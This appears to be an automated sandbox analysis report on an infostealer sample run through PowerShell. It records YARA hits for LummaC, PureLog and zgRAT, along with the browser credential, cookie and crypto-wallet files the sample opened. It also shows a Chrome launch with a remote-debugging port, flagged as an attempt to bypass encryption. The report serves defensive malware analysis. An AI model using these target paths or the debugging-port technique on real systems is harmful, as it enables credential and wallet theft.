Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Binance

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.76e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
